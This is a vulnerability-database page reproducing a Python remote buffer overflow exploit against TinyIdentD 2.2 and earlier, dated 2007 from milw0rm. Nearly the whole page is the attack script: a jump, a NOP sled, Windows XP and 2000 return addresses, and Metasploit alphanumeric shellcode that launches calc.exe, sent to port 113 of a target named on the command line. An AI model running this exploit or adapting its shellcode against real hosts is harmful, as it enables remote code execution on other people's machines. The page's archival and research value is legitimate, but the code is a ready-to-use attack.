Lucene search
K

TinyIdentD <= 2.2 - Remote Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

TinyIdentD Remote Buffer Overflo

Code

                                                #
#tinyidentd exploit code by
#thomas . pollet _at_ gmail . com
#bug by Maarten Boone
#
#usage: python exploit.py [target]
#
import socket,sys
#jmp into nop sled
payload  = &#39;\xeb\x20&#39;  
#ident crap
payload += &#39;, 28 : USERID : UNIX : &#39;
#nop sled
payload +=&#39;XXXX&#39;
# jmp *%esi
payload += &#39;\x77\x13\x83\x7c&#39;  #XP kernel32.dll
#payload += &#39;\xb1\x63\xd9\x77&#39; #W2K rpcrt4.dll
#metasploit alphanumeric shellcode calc.exe
shellcode = &#34;\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49&#34;
shellcode += &#34;\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44&#34;
shellcode += &#34;\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42&#34;
shellcode += &#34;\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b&#34;
shellcode += &#34;\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e&#34;
shellcode += &#34;\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46&#34;
shellcode += &#34;\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54&#34;
shellcode += &#34;\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d&#34;
shellcode += &#34;\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79&#34;
shellcode += &#34;\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a&#34;
shellcode += &#34;\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64&#34;
shellcode += &#34;\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57&#34;
shellcode += &#34;\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a&#34;
shellcode += &#34;\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f&#34;
shellcode += &#34;\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57&#34;
shellcode += &#34;\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d&#34;
shellcode += &#34;\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41&#34;
shellcode += &#34;\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f&#34;
shellcode += &#34;\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45&#34;
shellcode += &#34;\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73&#34;
shellcode += &#34;\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45&#34;
shellcode += &#34;\x50\x44&#34;

nopsize=523-len(payload)-len(shellcode)
nopsled=&#39;&#39;
for i in range(nopsize):
    nopsled+=&#39;\x90&#39;

payload=payload.replace(&#39;XXXX&#39;,nopsled+shellcode)

try:
    target=sys.argv[1]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,113))
    s.send(payload+&#39;\n&#39;)
    s.close()
    print &#39;done&#39;
except:
    print &#39;usage : %s [target]&#39;%sys.argv[0]

# milw0rm.com [2007-05-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation